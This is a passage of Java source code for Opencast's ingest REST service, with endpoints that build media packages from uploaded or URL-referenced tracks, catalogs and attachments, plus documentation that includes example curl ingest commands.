import java.util.Arrays;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.TimeUnit;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.ws.rs.Consumes;
import javax.ws.rs.FormParam;
import javax.ws.rs.GET;
import javax.ws.rs.POST;
import javax.ws.rs.PUT;
import javax.ws.rs.Path;
import javax.ws.rs.PathParam;
import javax.ws.rs.Produces;
import javax.ws.rs.QueryParam;
import javax.ws.rs.core.Context;
import javax.ws.rs.core.MediaType;
import javax.ws.rs.core.MultivaluedHashMap;
import javax.ws.rs.core.MultivaluedMap;
import javax.ws.rs.core.Response;
import javax.ws.rs.core.Response.Status;
/**
* Creates and augments Opencast MediaPackages using the api. Stores media into the Working File Repository.
*/
@Path("/")
@RestService(name = "ingestservice", title = "Ingest Service", abstractText = "This service creates and augments Opencast media packages that include media tracks, metadata "
+ "catalogs and attachments.", notes = {
"All paths above are relative to the REST endpoint base (something like http://your.server/files)",
"If the service is down or not working it will return a status 503, this means the the underlying service is "
+ "not working and is either restarting or has failed",
"A status code 500 means a general failure has occurred which is not recoverable and was not anticipated. In "
+ "other words, there is a bug! You should file an error report with your server logs from the time when the "
+ "error occurred: <a href=\"https://opencast.jira.com\">Opencast Issue Tracker</a>" })
public class IngestRestService extends AbstractJobProducerEndpoint {
private static final Logger logger = LoggerFactory.getLogger(IngestRestService.class);
/** Key for the default workflow definition in config.properties */
protected static final String DEFAULT_WORKFLOW_DEFINITION = "org.opencastproject.workflow.default.definition";
/** Key for the default maximum number of ingests in config.properties */
protected static final String MAX_INGESTS_KEY = "org.opencastproject.ingest.max.concurrent";
/** The http request parameter used to provide the workflow instance id */
protected static final String WORKFLOW_INSTANCE_ID_PARAM = "workflowInstanceId";
/** The http request parameter used to provide the workflow definition id */
protected static final String WORKFLOW_DEFINITION_ID_PARAM = "workflowDefinitionId";
/** The default workflow definition */
private String defaultWorkflowDefinitionId = null;
/** The http client */
private TrustedHttpClient httpClient;
/** Dublin Core Terms: http://purl.org/dc/terms/ */
private static List<String> dcterms = Arrays.asList("abstract", "accessRights", "accrualMethod",
"accrualPeriodicity", "accrualPolicy", "alternative", "audience", "available", "bibliographicCitation",
"conformsTo", "contributor", "coverage", "created", "creator", "date", "dateAccepted", "dateCopyrighted",
"dateSubmitted", "description", "educationLevel", "extent", "format", "hasFormat", "hasPart", "hasVersion",
"identifier", "instructionalMethod", "isFormatOf", "isPartOf", "isReferencedBy", "isReplacedBy",
"isRequiredBy", "issued", "isVersionOf", "language", "license", "mediator", "medium", "modified",
"provenance", "publisher", "references", "relation", "replaces", "requires", "rights", "rightsHolder",
"source", "spatial", "subject", "tableOfContents", "temporal", "title", "type", "valid");
private MediaPackageBuilderFactory factory = null;
private IngestService ingestService = null;
private ServiceRegistry serviceRegistry = null;
private DublinCoreCatalogService dublinCoreService;
// The number of ingests this service can handle concurrently.
private int ingestLimit = -1;
/* Stores a map workflow ID and date to update the ingest start times post-hoc */
private Cache<String, Date> startCache = null;
/* Formatter to for the date into a string */
private DateFormat formatter = new SimpleDateFormat(IngestService.UTC_DATE_FORMAT);
public IngestRestService() {
factory = MediaPackageBuilderFactory.newInstance();
startCache = CacheBuilder.newBuilder().expireAfterAccess(1, TimeUnit.DAYS).build();
}
/**
* Returns the maximum number of concurrent ingest operations or <code>-1</code> if no limit is enforced.
*
* @return the maximum number of concurrent ingest operations
* @see #isIngestLimitEnabled()
*/
protected synchronized int getIngestLimit() {
return ingestLimit;
}
/**
* Sets the maximum number of concurrent ingest operations. Use <code>-1</code> to indicate no limit.
*
* @param ingestLimit
* the limit
*/
private synchronized void setIngestLimit(int ingestLimit) {
this.ingestLimit = ingestLimit;
}
/**
* Returns <code>true</code> if a maximum number of concurrent ingest operations has been defined.
*
* @return <code>true</code> if there is a maximum number of concurrent ingests
*/
protected synchronized boolean isIngestLimitEnabled() {
return ingestLimit >= 0;
}
/**
* Callback for activation of this component.
*/
public void activate(ComponentContext cc) {
if (cc != null) {
defaultWorkflowDefinitionId = trimToNull(cc.getBundleContext().getProperty(DEFAULT_WORKFLOW_DEFINITION));
if (defaultWorkflowDefinitionId == null) {
defaultWorkflowDefinitionId = "schedule-and-upload";
}
if (cc.getBundleContext().getProperty(MAX_INGESTS_KEY) != null) {
try {
ingestLimit = Integer.parseInt(trimToNull(cc.getBundleContext().getProperty(MAX_INGESTS_KEY)));
if (ingestLimit == 0) {
ingestLimit = -1;
}
} catch (NumberFormatException e) {
logger.warn("Max ingest property with key " + MAX_INGESTS_KEY
+ " isn't defined so no ingest limit will be used.");
ingestLimit = -1;
}
}
}
}
@PUT
@Produces(MediaType.TEXT_XML)
@Path("createMediaPackageWithID/{id}")
@RestQuery(name = "createMediaPackageWithID", description = "Create an empty media package with ID /n Overrides Existing Mediapackage ", pathParameters = {
@RestParameter(description = "The Id for the new Mediapackage", isRequired = true, name = "id", type = RestParameter.Type.STRING) }, reponses = {
@RestResponse(description = "Returns media package", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) }, returnDescription = "")
public Response createMediaPackage(@PathParam("id") String mediaPackageId) {
MediaPackage mp;
try {
mp = ingestService.createMediaPackage(mediaPackageId);
startCache.put(mp.getIdentifier().toString(), new Date());
return Response.ok(mp).build();
} catch (Exception e) {
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.INTERNAL_SERVER_ERROR).build();
}
}
@GET
@Produces(MediaType.TEXT_XML)
@Path("createMediaPackage")
@RestQuery(name = "createMediaPackage", description = "Create an empty media package", restParameters = {
}, reponses = {
@RestResponse(description = "Returns media package", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) }, returnDescription = "")
public Response createMediaPackage() {
MediaPackage mp;
try {
mp = ingestService.createMediaPackage();
startCache.put(mp.getIdentifier().toString(), new Date());
return Response.ok(mp).build();
} catch (Exception e) {
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.INTERNAL_SERVER_ERROR).build();
}
}
@POST
@Path("discardMediaPackage")
@RestQuery(name = "discardMediaPackage", description = "Discard a media package", restParameters = { @RestParameter(description = "Given media package to be destroyed", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT) }, reponses = {
@RestResponse(description = "", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) }, returnDescription = "")
public Response discardMediaPackage(@FormParam("mediaPackage") String mpx) {
logger.debug("discardMediaPackage(MediaPackage): {}", mpx);
try {
MediaPackage mp = factory.newMediaPackageBuilder().loadFromXml(mpx);
ingestService.discardMediaPackage(mp);
return Response.ok().build();
} catch (Exception e) {
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.INTERNAL_SERVER_ERROR).build();
}
}
@POST
@Produces(MediaType.TEXT_XML)
@Path("addTrack")
@RestQuery(name = "addTrackURL", description = "Add a media track to a given media package using an URL", restParameters = {
@RestParameter(description = "The location of the media", isRequired = true, name = "url", type = RestParameter.Type.STRING),
@RestParameter(description = "The kind of media", isRequired = true, name = "flavor", type = RestParameter.Type.STRING),
@RestParameter(description = "The Tags of the media track", isRequired = false, name = "tags", type = RestParameter.Type.STRING),
@RestParameter(description = "The media package as XML", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT) }, reponses = {
@RestResponse(description = "Returns augmented media package", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "Media package not valid", responseCode = HttpServletResponse.SC_BAD_REQUEST),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) }, returnDescription = "")
public Response addMediaPackageTrack(@FormParam("url") String url, @FormParam("flavor") String flavor, @FormParam("tags") String tags,
@FormParam("mediaPackage") String mpx) {
logger.trace("add media package from url: {} flavor: {} tags: {} mediaPackage: {}", url, flavor, tags, mpx);
try {
MediaPackage mp = factory.newMediaPackageBuilder().loadFromXml(mpx);
if (MediaPackageSupport.sanityCheck(mp).isSome())
return Response.serverError().status(Status.BAD_REQUEST).build();
String[] tagsArray = null;
if (tags != null) {
tagsArray = tags.split(",");
}
mp = ingestService.addTrack(new URI(url), MediaPackageElementFlavor.parseFlavor(flavor), tagsArray, mp);
return Response.ok(mp).build();
} catch (Exception e) {
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.INTERNAL_SERVER_ERROR).build();
}
}
@POST
@Produces(MediaType.TEXT_XML)
@Consumes(MediaType.MULTIPART_FORM_DATA)
@Path("addTrack")
@RestQuery(
name = "addTrackInputStream",
description = "Add a media track to a given media package using an input stream",
restParameters = {
@RestParameter(description = "The kind of media track", isRequired = true, name = "flavor", type = RestParameter.Type.STRING),
@RestParameter(description = "The Tags of the media track", isRequired = false, name = "tags", type = RestParameter.Type.STRING),
@RestParameter(description = "The media package as XML", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT) },
bodyParameter = @RestParameter(description = "The media track file", isRequired = true, name = "BODY", type = RestParameter.Type.FILE),
reponses = {
@RestResponse(description = "Returns augmented media package", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "Media package not valid", responseCode = HttpServletResponse.SC_BAD_REQUEST),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) },
returnDescription = "")
public Response addMediaPackageTrack(@Context HttpServletRequest request) {
logger.trace("add track as multipart-form-data");
return addMediaPackageElement(request, MediaPackageElement.Type.Track);
}
@POST
@Produces(MediaType.TEXT_XML)
@Path("addPartialTrack")
@RestQuery(name = "addPartialTrackURL", description = "Add a partial media track to a given media package using an URL", restParameters = {
@RestParameter(description = "The location of the media", isRequired = true, name = "url", type = RestParameter.Type.STRING),
@RestParameter(description = "The kind of media", isRequired = true, name = "flavor", type = RestParameter.Type.STRING),
@RestParameter(description = "The start time in milliseconds", isRequired = true, name = "startTime", type = RestParameter.Type.INTEGER),
@RestParameter(description = "The media package as XML", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT) }, reponses = {
@RestResponse(description = "Returns augmented media package", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "Media package not valid", responseCode = HttpServletResponse.SC_BAD_REQUEST),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) }, returnDescription = "")
public Response addMediaPackagePartialTrack(@FormParam("url") String url, @FormParam("flavor") String flavor,
@FormParam("startTime") Long startTime, @FormParam("mediaPackage") String mpx) {
logger.trace("add partial track with url: {} flavor: {} startTime: {} mediaPackage: {}",
url, flavor, startTime, mpx);
try {
MediaPackage mp = factory.newMediaPackageBuilder().loadFromXml(mpx);
if (MediaPackageSupport.sanityCheck(mp).isSome())
return Response.serverError().status(Status.BAD_REQUEST).build();
mp = ingestService.addPartialTrack(new URI(url), MediaPackageElementFlavor.parseFlavor(flavor), startTime, mp);
return Response.ok(mp).build();
} catch (Exception e) {
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.INTERNAL_SERVER_ERROR).build();
}
}
@POST
@Produces(MediaType.TEXT_XML)
@Consumes(MediaType.MULTIPART_FORM_DATA)
@Path("addPartialTrack")
@RestQuery(name = "addPartialTrackInputStream", description = "Add a partial media track to a given media package using an input stream", restParameters = {
@RestParameter(description = "The kind of media track", isRequired = true, name = "flavor", type = RestParameter.Type.STRING),
@RestParameter(description = "The start time in milliseconds", isRequired = true, name = "startTime", type = RestParameter.Type.INTEGER),
@RestParameter(description = "The media package as XML", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT) }, bodyParameter = @RestParameter(description = "The media track file", isRequired = true, name = "BODY", type = RestParameter.Type.FILE), reponses = {
@RestResponse(description = "Returns augmented media package", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "Media package not valid", responseCode = HttpServletResponse.SC_BAD_REQUEST),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) }, returnDescription = "")
public Response addMediaPackagePartialTrack(@Context HttpServletRequest request) {
logger.trace("add partial track as multipart-form-data");
return addMediaPackageElement(request, MediaPackageElement.Type.Track);
}
@POST
@Produces(MediaType.TEXT_XML)
@Path("addCatalog")
@RestQuery(name = "addCatalogURL", description = "Add a metadata catalog to a given media package using an URL", restParameters = {
@RestParameter(description = "The location of the catalog", isRequired = true, name = "url", type = RestParameter.Type.STRING),
@RestParameter(description = "The kind of catalog", isRequired = true, name = "flavor", type = RestParameter.Type.STRING),
@RestParameter(description = "The media package as XML", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT) }, reponses = {
@RestResponse(description = "Returns augmented media package", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "Media package not valid", responseCode = HttpServletResponse.SC_BAD_REQUEST),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) }, returnDescription = "")
public Response addMediaPackageCatalog(@FormParam("url") String url, @FormParam("flavor") String flavor,
@FormParam("mediaPackage") String mpx) {
logger.trace("add catalog with url: {} flavor: {} mediaPackage: {}", url, flavor, mpx);
try {
MediaPackage mp = factory.newMediaPackageBuilder().loadFromXml(mpx);
if (MediaPackageSupport.sanityCheck(mp).isSome())
return Response.serverError().status(Status.BAD_REQUEST).build();
MediaPackage resultingMediaPackage = ingestService.addCatalog(new URI(url),
MediaPackageElementFlavor.parseFlavor(flavor), mp);
return Response.ok(resultingMediaPackage).build();
} catch (Exception e) {
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.INTERNAL_SERVER_ERROR).build();
}
}
@POST
@Produces(MediaType.TEXT_XML)
@Consumes(MediaType.MULTIPART_FORM_DATA)
@Path("addCatalog")
@RestQuery(name = "addCatalogInputStream", description = "Add a metadata catalog to a given media package using an input stream", restParameters = {
@RestParameter(description = "The kind of media catalog", isRequired = true, name = "flavor", type = RestParameter.Type.STRING),
@RestParameter(description = "The media package as XML", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT) }, bodyParameter = @RestParameter(description = "The metadata catalog file", isRequired = true, name = "BODY", type = RestParameter.Type.FILE), reponses = {
@RestResponse(description = "Returns augmented media package", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "Media package not valid", responseCode = HttpServletResponse.SC_BAD_REQUEST),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) }, returnDescription = "")
public Response addMediaPackageCatalog(@Context HttpServletRequest request) {
logger.trace("add catalog as multipart-form-data");
return addMediaPackageElement(request, MediaPackageElement.Type.Catalog);
}
@POST
@Produces(MediaType.TEXT_XML)
@Path("addAttachment")
@RestQuery(name = "addAttachmentURL", description = "Add an attachment to a given media package using an URL", restParameters = {
@RestParameter(description = "The location of the attachment", isRequired = true, name = "url", type = RestParameter.Type.STRING),
@RestParameter(description = "The kind of attachment", isRequired = true, name = "flavor", type = RestParameter.Type.STRING),
@RestParameter(description = "The media package as XML", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT) }, reponses = {
@RestResponse(description = "Returns augmented media package", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "Media package not valid", responseCode = HttpServletResponse.SC_BAD_REQUEST),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) }, returnDescription = "")
public Response addMediaPackageAttachment(@FormParam("url") String url, @FormParam("flavor") String flavor,
@FormParam("mediaPackage") String mpx) {
logger.trace("add attachment with url: {} flavor: {} mediaPackage: {}", url, flavor, mpx);
try {
MediaPackage mp = factory.newMediaPackageBuilder().loadFromXml(mpx);
if (MediaPackageSupport.sanityCheck(mp).isSome())
return Response.serverError().status(Status.BAD_REQUEST).build();
mp = ingestService.addAttachment(new URI(url), MediaPackageElementFlavor.parseFlavor(flavor), mp);
return Response.ok(mp).build();
} catch (Exception e) {
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.INTERNAL_SERVER_ERROR).build();
}
}
@POST
@Produces(MediaType.TEXT_XML)
@Consumes(MediaType.MULTIPART_FORM_DATA)
@Path("addAttachment")
@RestQuery(name = "addAttachmentInputStream", description = "Add an attachment to a given media package using an input stream", restParameters = {
@RestParameter(description = "The kind of attachment", isRequired = true, name = "flavor", type = RestParameter.Type.STRING),
@RestParameter(description = "The media package as XML", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT) }, bodyParameter = @RestParameter(description = "The attachment file", isRequired = true, name = "BODY", type = RestParameter.Type.FILE), reponses = {
@RestResponse(description = "Returns augmented media package", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "Media package not valid", responseCode = HttpServletResponse.SC_BAD_REQUEST),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) }, returnDescription = "")
public Response addMediaPackageAttachment(@Context HttpServletRequest request) {
logger.trace("add attachment as multipart-form-data");
return addMediaPackageElement(request, MediaPackageElement.Type.Attachment);
}
protected Response addMediaPackageElement(HttpServletRequest request, MediaPackageElement.Type type) {
MediaPackageElementFlavor flavor = null;
InputStream in = null;
try {
String fileName = null;
MediaPackage mp = null;
Long startTime = null;
String[] tags = null;
/* Only accept multipart/form-data */
if (!ServletFileUpload.isMultipartContent(request)) {
logger.trace("request isn't multipart-form-data");
return Response.serverError().status(Status.BAD_REQUEST).build();
}
boolean isDone = false;
for (FileItemIterator iter = new ServletFileUpload().getItemIterator(request); iter.hasNext();) {
FileItemStream item = iter.next();
String fieldName = item.getFieldName();
if (item.isFormField()) {
if ("flavor".equals(fieldName)) {
String flavorString = Streams.asString(item.openStream(), "UTF-8");
logger.trace("flavor: {}", flavorString);
if (flavorString != null) {
try {
flavor = MediaPackageElementFlavor.parseFlavor(flavorString);
} catch (IllegalArgumentException e) {
String error = String.format("Could not parse flavor '%s'", flavorString);
logger.debug(error, e);
return Response.status(Status.BAD_REQUEST).entity(error).build();
}
}
} else if ("tags".equals(fieldName)) {
String tagsString = Streams.asString(item.openStream(), "UTF-8");
logger.trace("tags: {}", tagsString);
tags = tagsString.split(",");
} else if ("mediaPackage".equals(fieldName)) {
try {
String mediaPackageString = Streams.asString(item.openStream(), "UTF-8");
logger.trace("mediaPackage: {}", mediaPackageString);
mp = factory.newMediaPackageBuilder().loadFromXml(mediaPackageString);
} catch (MediaPackageException e) {
logger.debug("Unable to parse the 'mediaPackage' parameter: {}", ExceptionUtils.getMessage(e));
return Response.serverError().status(Status.BAD_REQUEST).build();
}
} else if ("startTime".equals(fieldName) && "/addPartialTrack".equals(request.getPathInfo())) {
String startTimeString = Streams.asString(item.openStream(), "UTF-8");
logger.trace("startTime: {}", startTime);
try {
startTime = Long.parseLong(startTimeString);
} catch (Exception e) {
logger.debug("Unable to parse the 'startTime' parameter: {}", ExceptionUtils.getMessage(e));
return Response.serverError().status(Status.BAD_REQUEST).build();
}
}
} else {
if (flavor == null) {
/* A flavor has to be specified in the request prior the video file */
logger.debug("A flavor has to be specified in the request prior to the content BODY");
return Response.serverError().status(Status.BAD_REQUEST).build();
}
fileName = item.getName();
in = item.openStream();
isDone = true;
}
if (isDone) {
break;
}
}
/*
* Check if we actually got a valid request including a message body and a valid mediapackage to attach the
* element to
*/
if (in == null || mp == null || MediaPackageSupport.sanityCheck(mp).isSome()) {
return Response.serverError().status(Status.BAD_REQUEST).build();
}
switch (type) {
case Attachment:
mp = ingestService.addAttachment(in, fileName, flavor, tags, mp);
break;
case Catalog:
mp = ingestService.addCatalog(in, fileName, flavor, tags, mp);
break;
case Track:
if (startTime == null) {
mp = ingestService.addTrack(in, fileName, flavor, tags, mp);
} else {
mp = ingestService.addPartialTrack(in, fileName, flavor, startTime, mp);
}
break;
default:
throw new IllegalStateException("Type must be one of track, catalog, or attachment");
}
return Response.ok(MediaPackageParser.getAsXml(mp)).build();
} catch (Exception e) {
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.INTERNAL_SERVER_ERROR).build();
} finally {
IOUtils.closeQuietly(in);
}
}
@POST
@Produces(MediaType.TEXT_XML)
@Consumes(MediaType.MULTIPART_FORM_DATA)
@Path("addMediaPackage")
@RestQuery(name = "addMediaPackage",
description = "<p>Create and ingest media package from media tracks with additional Dublin Core metadata. It is "
+ "mandatory to set a title for the recording. This can be done with the 'title' form field or by supplying a DC "
+ "catalog with a title included. The identifier of the newly created media package will be taken from the "
+ "<em>identifier</em> field or the episode DublinCore catalog (deprecated<sup>*</sup>). If no identifier is "
+ "set, a new random UUIDv4 will be generated. This endpoint is not meant to be used by capture agents for "
+ "scheduled recordings. Its primary use is for manual ingests with command line tools like curl.</p> "
+ "<p>Multiple tracks can be ingested by using multiple form fields. It is important to always set the "
+ "flavor of the next media file <em>before</em> sending the media file itself.</p>"
+ "<b>(*)</b> The special treatment of the identifier field is deprecated and may be removed in future versions "
+ "without further notice in favor of a random UUID generation to ensure uniqueness of identifiers. "
+ "<h3>Example curl command:</h3>"
+ "<p>Ingest one video file:</p>"
+ "<p><pre>\n"
+ "curl -f -i --digest -u opencast_system_account:CHANGE_ME -H 'X-Requested-Auth: Digest' \\\n"
+ " http://localhost:8080/ingest/addMediaPackage -F creator='John Doe' -F title='Test Recording' \\\n"
+ " -F 'flavor=presentation/source' -F 'BODY=@test-recording.mp4' \n"
+ "</pre></p>"
+ "<p>Ingest two video files:</p>"
+ "<p><pre>\n"
+ "curl -f -i --digest -u opencast_system_account:CHANGE_ME -H 'X-Requested-Auth: Digest' \\\n"
+ " http://localhost:8080/ingest/addMediaPackage -F creator='John Doe' -F title='Test Recording' \\\n"
+ " -F 'flavor=presentation/source' -F 'BODY=@test-recording-vga.mp4' \\\n"
+ " -F 'flavor=presenter/source' -F 'BODY=@test-recording-camera.mp4' \n"
+ "</pre></p>",
restParameters = {
@RestParameter(description = "The kind of media track. This has to be specified prior to each media track", isRequired = true, name = "flavor", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "abstract", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "accessRights", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "available", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "contributor", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "coverage", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "created", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "creator", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "date", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "description", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "extent", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "format", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "identifier", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "isPartOf", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "isReferencedBy", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "isReplacedBy", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "language", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "license", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "publisher", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "relation", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "replaces", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "rights", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "rightsHolder", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "source", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "spatial", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "subject", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "temporal", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "title", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "type", type = RestParameter.Type.STRING),
@RestParameter(description = "URL of episode DublinCore Catalog", isRequired = false, name = "episodeDCCatalogUri", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode DublinCore Catalog", isRequired = false, name = "episodeDCCatalog", type = RestParameter.Type.STRING),
@RestParameter(description = "URL of series DublinCore Catalog", isRequired = false, name = "seriesDCCatalogUri", type = RestParameter.Type.STRING),
@RestParameter(description = "Series DublinCore Catalog", isRequired = false, name = "seriesDCCatalog", type = RestParameter.Type.STRING),
@RestParameter(description = "URL of a media track file", isRequired = false, name = "mediaUri", type = RestParameter.Type.STRING) },
bodyParameter = @RestParameter(description = "The media track file", isRequired = true, name = "BODY", type = RestParameter.Type.FILE),
reponses = {
@RestResponse(description = "Ingest successfull. Returns workflow instance as xml", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "Ingest failed due to invalid requests.", responseCode = HttpServletResponse.SC_BAD_REQUEST),
@RestResponse(description = "Ingest failed. Something went wrong internally. Please have a look at the log files",
responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) },
returnDescription = "")
public Response addMediaPackage(@Context HttpServletRequest request) {
logger.trace("add mediapackage as multipart-form-data");
return addMediaPackage(request, null);
}
@POST
@Produces(MediaType.TEXT_XML)
@Consumes(MediaType.MULTIPART_FORM_DATA)
@Path("addMediaPackage/{wdID}")
@RestQuery(name = "addMediaPackage",
description = "<p>Create and ingest media package from media tracks with additional Dublin Core metadata. It is "
+ "mandatory to set a title for the recording. This can be done with the 'title' form field or by supplying a DC "
+ "catalog with a title included. The identifier of the newly created media package will be taken from the "
+ "<em>identifier</em> field or the episode DublinCore catalog (deprecated<sup>*</sup>). If no identifier is "
+ "set, a newa randumm UUIDv4 will be generated. This endpoint is not meant to be used by capture agents for "
+ "scheduled recordings. It's primary use is for manual ingests with command line tools like curl.</p> "
+ "<p>Multiple tracks can be ingested by using multiple form fields. It's important, however, to always set the "
+ "flavor of the next media file <em>before</em> sending the media file itself.</p>"
+ "<b>(*)</b> The special treatment of the identifier field is deprecated any may be removed in future versions "
+ "without further notice in favor of a random UUID generation to ensure uniqueness of identifiers. "
+ "<h3>Example curl command:</h3>"
+ "<p>Ingest one video file:</p>"
+ "<p><pre>\n"
+ "curl -f -i --digest -u opencast_system_account:CHANGE_ME -H 'X-Requested-Auth: Digest' \\\n"
+ " http://localhost:8080/ingest/addMediaPackage/fast -F creator='John Doe' -F title='Test Recording' \\\n"
+ " -F 'flavor=presentation/source' -F 'BODY=@test-recording.mp4' \n"
+ "</pre></p>"
+ "<p>Ingest two video files:</p>"
+ "<p><pre>\n"
+ "curl -f -i --digest -u opencast_system_account:CHANGE_ME -H 'X-Requested-Auth: Digest' \\\n"
+ " http://localhost:8080/ingest/addMediaPackage/fast -F creator='John Doe' -F title='Test Recording' \\\n"
+ " -F 'flavor=presentation/source' -F 'BODY=@test-recording-vga.mp4' \\\n"
+ " -F 'flavor=presenter/source' -F 'BODY=@test-recording-camera.mp4' \n"
+ "</pre></p>",
pathParameters = {
@RestParameter(description = "Workflow definition id", isRequired = true, name = "wdID", type = RestParameter.Type.STRING) },
restParameters = {
@RestParameter(description = "The kind of media track. This has to be specified prior to each media track", isRequired = true, name = "flavor", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "abstract", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "accessRights", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "available", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "contributor", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "coverage", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "created", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "creator", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "date", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "description", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "extent", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "format", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "identifier", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "isPartOf", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "isReferencedBy", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "isReplacedBy", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "language", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "license", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "publisher", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "relation", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "replaces", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "rights", type = RestParameter.Type.STRING),
